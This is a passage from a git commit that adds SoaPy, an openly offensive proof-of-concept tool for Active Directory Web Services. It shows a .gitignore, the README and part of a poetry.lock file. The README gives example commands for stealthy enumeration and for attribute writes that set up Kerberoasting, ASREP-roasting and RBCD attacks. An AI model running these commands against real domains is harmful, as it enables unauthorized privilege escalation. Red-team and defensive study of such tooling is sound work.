Initial push

This commit is contained in:
shellph1sh
2025-02-21 09:29:52 -06:00
commit 2669dcb67a
26 changed files with 6556 additions and 0 deletions
+162
View File
@@ -0,0 +1,162 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/latest/usage/project/#working-with-version-control
.pdm.toml
.pdm-python
.pdm-build/
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/
+95
View File
@@ -0,0 +1,95 @@
# Description
SoaPy is a Proof of Concept (PoC) tool for conducting offensive interaction with Active Directory Web Services (ADWS) from Linux hosts. SoaPy includes previously undeveloped custom python implementations of a collection of Microsoft protocols required for interaction with the ADWS service. This includes but is not limited to: NNS (.NET NegotiateStream Protocol), NMF (.NET Message Framing Protocol), and NBFSE (.NET Binary Format: SOAP Extension).
SoaPy can be primarily utilized to interact with ADWS for stealthy enumeration over a proxy into an internal Active Directory environment. Additionally SoaPy can perform targeted exploitation over ADWS, including `servicePrincipalName` writing for targeted Kerberoasting, `DONT_REQ_PREAUTH` writing for targeted ASREP-Roasting, and the ability to write to `msDs-AllowedToActOnBehalfOfOtherIdentity` for Resource-Based Constrained Delegation attacks.
# Usage
```
███████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗
██╔════╝██╔═══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝
███████╗██║ ██║███████║██████╔╝ ╚████╔╝
╚════██║██║ ██║██╔══██║██╔═══╝ ╚██╔╝
███████║╚██████╔╝██║ ██║██║ ██║
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
usage: soapy [-h] [--debug] [--ts] [--hash nthash] [--users] [--computers] [--groups] [--constrained] [--unconstrained] [--spns] [--asreproastable] [--admins] [--rbcds]
[-q query] [--filter attr,attr,...] [--rbcd source] [--spn value] [--asrep] [--account account] [--remove]
connection
Enumerate and write LDAP objects over ADWS using the SOAP protocol
positional arguments:
connection domain/username[:password]@<targetName or address>
options:
-h, --help show this help message and exit
--debug Turn DEBUG output ON
--ts Adds timestamp to every logging output.
--hash nthash Use an NT hash for authentication
Enumeration:
--users Enumerate user objects
--computers Enumerate computer objects
--groups Enumerate group objects
--constrained Enumerate objects with the msDS-AllowedToDelegateTo attribute set
--unconstrained Enumerate objects with the TRUSTED_FOR_DELEGATION flag set
--spns Enumerate accounts with the servicePrincipalName attribute set
--asreproastable Enumerate accounts with the DONT_REQ_PREAUTH flag set
--admins Enumerate high privilege accounts
--rbcds Enumerate accounts with msDs-AllowedToActOnBehalfOfOtherIdentity set
-q query, --query query
Raw query to execute on the target
--filter attr,attr,...
Attributes to select from the objects returned, in a comma seperated list
Writing:
--rbcd source Operation to write or remove RBCD. Also used to pass in the source computer account used for the attack.
--spn value Operation to write the servicePrincipalName attribute value, writes by default unless "--remove" is specified
--asrep Operation to write the DONT_REQ_PREAUTH (0x400000) userAccountControl flag on a target object
--account account Account to preform an operation on
--remove Operarion to remove an attribute value based off an operation
```
# Installation
With `pipx`:
```
pipx install .
```
With `poetry`:
```
poetry install
```
# Example Usage
Enumerate users using preset enumeration flags:
```
soapy <domain>/<user>:'<password>'@<ip> --users
```
Enumerate computers `samAccountName` and `objectSid` using a custom query/attribute filtering:
```
soapy <domain>/<user>:'<password>'@<ip> --query '(objectClass=computer)' --filter "samaccountname,objectsid"
```
Write `msDs-AllowedToActOnBehalfOfOtherIdentity` on DC01, enabling delegation from MS01 for an RBCD attack:
```
soapy <domain>/<user>:'<password>'@<ip> --rbcd 'MS01$' --account 'DC01$'
```
Write the `servicePrincipalName` attribute on jdoe as part of a targeted Kerberoasting attack:
```
soapy <domain>/<user>:'<password>'@<ip> --spn test/spn --account jdoe
```
Write `DONT_REQ_PREAUTH` (0x400000) on jdoe's `userAccountControl` attribute, making the account ASREP-Roastable:
```
soapy <domain>/<user>:'<password>'@<ip> --asrep --account jdoe
```
Generated
+753
View File
@@ -0,0 +1,753 @@
# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand.
[[package]]
name = "attrs"
version = "24.2.0"
description = "Classes Without Boilerplate"
optional = false
python-versions = ">=3.7"
files = [
{file = "attrs-24.2.0-py3-none-any.whl", hash = "sha256:81921eb96de3191c8258c199618104dd27ac608d9366f5e35d011eae1867ede2"},
{file = "attrs-24.2.0.tar.gz", hash = "sha256:5cfb1b9148b5b086569baec03f20d7b6bf3bcacc9a42bebf87ffaaca362f6346"},
]
[package.extras]
benchmark = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-codspeed", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
cov = ["cloudpickle", "coverage[toml] (>=5.3)", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
dev = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pre-commit", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
docs = ["cogapp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier (<24.7)"]
tests = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
tests-mypy = ["mypy (>=1.11.1)", "pytest-mypy-plugins"]
[[package]]
name = "blinker"
version = "1.9.0"
description = "Fast, simple object-to-object and broadcast signaling"
optional = false
python-versions = ">=3.9"
files = [
{file = "blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc"},
{file = "blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf"},
]
[[package]]
name = "cffi"
version = "1.17.1"
description = "Foreign Function Interface for Python calling C code."
optional = false
python-versions = ">=3.8"
files = [
{file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"},
{file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"},
{file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"},
{file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"},
{file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"},
{file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"},
{file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"},
{file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"},
{file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"},
{file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"},
{file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"},
{file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"},
{file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"},
{file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"},
{file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"},
{file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"},
{file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"},
{file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"},
{file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"},
{file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"},
{file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"},
{file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"},
{file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"},
{file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"},
{file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"},
{file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"},
{file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"},
{file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"},
{file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"},
{file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"},
{file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"},
{file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"},
{file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"},
{file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"},
{file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"},
{file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"},
{file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"},
{file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"},
]
[package.dependencies]
pycparser = "*"
[[package]]
name = "charset-normalizer"
version = "3.4.0"
description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
optional = false
python-versions = ">=3.7.0"
files = [
{file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4f9fc98dad6c2eaa32fc3af1417d95b5e3d08aff968df0cd320066def971f9a6"},
{file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0de7b687289d3c1b3e8660d0741874abe7888100efe14bd0f9fd7141bcbda92b"},
{file = "charset_normalizer-3.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5ed2e36c3e9b4f21dd9422f6893dec0abf2cca553af509b10cd630f878d3eb99"},
{file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40d3ff7fc90b98c637bda91c89d51264a3dcf210cade3a2c6f838c7268d7a4ca"},
{file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1110e22af8ca26b90bd6364fe4c763329b0ebf1ee213ba32b68c73de5752323d"},
{file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:86f4e8cca779080f66ff4f191a685ced73d2f72d50216f7112185dc02b90b9b7"},
{file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7f683ddc7eedd742e2889d2bfb96d69573fde1d92fcb811979cdb7165bb9c7d3"},
{file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:27623ba66c183eca01bf9ff833875b459cad267aeeb044477fedac35e19ba907"},
{file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f606a1881d2663630ea5b8ce2efe2111740df4b687bd78b34a8131baa007f79b"},
{file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0b309d1747110feb25d7ed6b01afdec269c647d382c857ef4663bbe6ad95a912"},
{file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:136815f06a3ae311fae551c3df1f998a1ebd01ddd424aa5603a4336997629e95"},
{file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:14215b71a762336254351b00ec720a8e85cada43b987da5a042e4ce3e82bd68e"},
{file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79983512b108e4a164b9c8d34de3992f76d48cadc9554c9e60b43f308988aabe"},
{file = "charset_normalizer-3.4.0-cp310-cp310-win32.whl", hash = "sha256:c94057af19bc953643a33581844649a7fdab902624d2eb739738a30e2b3e60fc"},
{file = "charset_normalizer-3.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:55f56e2ebd4e3bc50442fbc0888c9d8c94e4e06a933804e2af3e89e2f9c1c749"},
{file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0d99dd8ff461990f12d6e42c7347fd9ab2532fb70e9621ba520f9e8637161d7c"},
{file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c57516e58fd17d03ebe67e181a4e4e2ccab1168f8c2976c6a334d4f819fe5944"},
{file = "charset_normalizer-3.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6dba5d19c4dfab08e58d5b36304b3f92f3bd5d42c1a3fa37b5ba5cdf6dfcbcee"},
{file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf4475b82be41b07cc5e5ff94810e6a01f276e37c2d55571e3fe175e467a1a1c"},
{file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ce031db0408e487fd2775d745ce30a7cd2923667cf3b69d48d219f1d8f5ddeb6"},
{file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ff4e7cdfdb1ab5698e675ca622e72d58a6fa2a8aa58195de0c0061288e6e3ea"},
{file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3710a9751938947e6327ea9f3ea6332a09bf0ba0c09cae9cb1f250bd1f1549bc"},
{file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82357d85de703176b5587dbe6ade8ff67f9f69a41c0733cf2425378b49954de5"},
{file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47334db71978b23ebcf3c0f9f5ee98b8d65992b65c9c4f2d34c2eaf5bcaf0594"},
{file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8ce7fd6767a1cc5a92a639b391891bf1c268b03ec7e021c7d6d902285259685c"},
{file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:f1a2f519ae173b5b6a2c9d5fa3116ce16e48b3462c8b96dfdded11055e3d6365"},
{file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:63bc5c4ae26e4bc6be6469943b8253c0fd4e4186c43ad46e713ea61a0ba49129"},
{file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bcb4f8ea87d03bc51ad04add8ceaf9b0f085ac045ab4d74e73bbc2dc033f0236"},
{file = "charset_normalizer-3.4.0-cp311-cp311-win32.whl", hash = "sha256:9ae4ef0b3f6b41bad6366fb0ea4fc1d7ed051528e113a60fa2a65a9abb5b1d99"},
{file = "charset_normalizer-3.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cee4373f4d3ad28f1ab6290684d8e2ebdb9e7a1b74fdc39e4c211995f77bec27"},
{file = "charset_normalizer-3.4.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0713f3adb9d03d49d365b70b84775d0a0d18e4ab08d12bc46baa6132ba78aaf6"},
{file = "charset_normalizer-3.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:de7376c29d95d6719048c194a9cf1a1b0393fbe8488a22008610b0361d834ecf"},
{file = "charset_normalizer-3.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4a51b48f42d9358460b78725283f04bddaf44a9358197b889657deba38f329db"},
{file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b295729485b06c1a0683af02a9e42d2caa9db04a373dc38a6a58cdd1e8abddf1"},
{file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee803480535c44e7f5ad00788526da7d85525cfefaf8acf8ab9a310000be4b03"},
{file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d59d125ffbd6d552765510e3f31ed75ebac2c7470c7274195b9161a32350284"},
{file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8cda06946eac330cbe6598f77bb54e690b4ca93f593dee1568ad22b04f347c15"},
{file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:07afec21bbbbf8a5cc3651aa96b980afe2526e7f048fdfb7f1014d84acc8b6d8"},
{file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6b40e8d38afe634559e398cc32b1472f376a4099c75fe6299ae607e404c033b2"},
{file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b8dcd239c743aa2f9c22ce674a145e0a25cb1566c495928440a181ca1ccf6719"},
{file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:84450ba661fb96e9fd67629b93d2941c871ca86fc38d835d19d4225ff946a631"},
